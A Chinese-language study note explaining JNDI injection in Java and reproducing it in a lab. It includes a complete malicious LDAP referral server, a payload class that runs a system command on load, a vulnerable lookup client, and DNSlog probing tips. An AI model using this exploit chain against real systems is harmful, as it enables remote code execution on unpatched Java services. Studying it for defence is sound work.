JNDI注入漏洞(RCE)的原理和复现
前言
这一篇文章是我的学习笔记,请各位批评指正,感谢
JNDI的概念
JNDI(Java Naming and Directory Interface),即Java命名和目录接口,它用于给Java应用程序提供命名和目录访问。举例来说,在生产环境当中,Java需要通过JDBC来实现与数据库之间的连接,在连接之前,Java需要获取数据库的访问链接(如:jdbc:mysql://IP地址:端口?user=xx&password=xx)。而这个链接因环境和需求的不同,可能发生多次的变化,所以需要一个目录来提供多个访问链接,使得Java程序能够动态地访问不同的数据库。这时,JNDI就派上了用场。JNDI可以将多个对象绑定至JNDI当中的Context对象当中,以类似文件目录的结构进行存储,当Java程序需要获取链接对象时,只需要调用JNDI的lookup函数即可在此目录结构中找到指定的对象。
JNDI的服务提供者
-
JNDI的服务提供者主要有以下几种:
- RMI(Java远程方法调用)
- LDAP(轻量级目录访问协议)
- CORBA(公共对象请求代理体系结构)
- DNS(域名服务)
JNDI中lookup函数的工作原理
某Tomcat服务器内JNDI资源文件中的内容:
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--<Manager pathname="" />-->
<Resource name="jdbc/mysql" auth="Container"
type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://127.0.0.1:3306/task"
username="root" password="123456" maxTotal="20" maxIdle="10"
maxWaitMillis="-1"/>
</Context>
Servlet获取请求后,将参数封装并用此方法查询数据库:
public class Test{
public static String doSearch(String name){
try{
Context ctx=new InitialContext("资源文件");
DataSource ds=(DataSource)ctx.lookup("jdbc/mysql"); //通过name属性的值找到相应对象,并返回一个Object对象,向下强转为DataSource
Connection con=ds.getConnection(); //成功获取到了Connection对象
...省略...
return "查询结果";
}catch(Exception e){
//pass
}
}
}
-
lookup函数在其中所做的操作:
- 1.传入名称参数:程序员向lookup中传入一个字符串参数,这个参数可以使用多种协议,比如LDAP或RMI
- 2.中间层处理:lookup函数会截取传入参数中代表协议的字符串子串,然后根据协议的不同进行不同处理
- 3.返回结果:一旦匹配到资源和服务,lookup函数就会返回一个DataSource对象,可以通过此DataSource对象提供的接口来实现各种操作
JNDI注入漏洞的攻击流程
-
前置条件:
- 1.传入lookup函数的参数可控
- 2.黑客需要部署一个LDAP或RMI服务器和一个HTTP服务器
- 3.黑客将被攻击端需要执行的代码编译为.class文件后部署在HTTP服务器中
- 4.被攻击端可以访问到黑客部署的任何服务器 攻击流程:
- 1.黑客向lookup函数中注入一段uri,如:ldap://192.168.10.2:7777/Example
- 2.被攻击端的Java程序访问192.168.10.2主机上7777号端口的LDAP服务,并且携带参数Example
- 3.LDAP服务器返回一个HTTP地址,被攻击端的Java程序访问HTTP服务器获取Payload并执行
以LDAP的方式复现注入漏洞
LDAP服务器:192.168.10.2:7777
HTTP服务器:192.168.10.3:80(可以使用PHPstudy部署)
首先,部署LDAP服务器,这里可以使用LDAPSDK编写一个简单的服务器:
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.Entry;
public class LdapServer {
private static final String LDAP_BASE="dc=example,dc=com";
public static void main(String[] argsx) {
String[] args=new String[] {"http://192.168.1.36/#Example"}; //要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接)
int port=7777; //LDAP服务器监听端口
try {
InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(
new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()
)
);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0");
ds.startListening();
}catch(Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor{
private URL codebase;
public OperationInterceptor(URL cb) {this.codebase=cb;}
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base=result.getRequest().getBaseDN();
Entry e=new Entry(base);
try {
sendResult(result, base, e);
}catch(Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{
URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl);
e.addAttribute("javaClassName","foo");
String cbstring=this.codebase.toString();
int refPos=cbstring.indexOf('#');
if(refPos>0) {
cbstring=cbstring.substring(0,refPos);
}
e.addAttribute("javaCodeBase",cbstring);
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaFactory",this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
在HTTP服务器上部署的payload资源,即“Example.class”的内容:请注意,编译java文件的JDK版本应与被攻击端的JDK版本兼容
public class Example{
static{
try{
Runtime.getRuntime().exec("calc"); //弹出计算器
}catch(Exception e){
}
}
}
被攻击端的JNDI程序模拟:
import javax.naming.*; //引入JNDI支持包
public class Test{
public static void main(String args[]){
InitialContext ctx=new InitialContext();
ctx.lookup("ldap://192.168.10.2:7777/Example"); //假设传入其中的参数可控,则此服务器会访问LDAP服务器
}
}
以DNS的方式复现注入漏洞
以DNS的方式复现注入漏洞,本质上就是使用DNSlog的方式进行漏洞探测,这样做的好处是可以有效隐藏LDAP或RMI服务器的地址,并且由于DNS的数据包较小,容易躲过探测,更加隐蔽。
DNSlog平台:https://dnslog.org/
在DNSlog平台中,生成一个唯一的子域名,然后将其作为参数传递到被攻击端的lookup函数中(dns://xxxxx.dnslog.org)
待程序执行完毕后,在DNSlog平台进行刷新,如果有查询记录出现则说明被攻击端存在JNDI注入漏洞
以RMI的方式复现注入漏洞
回头写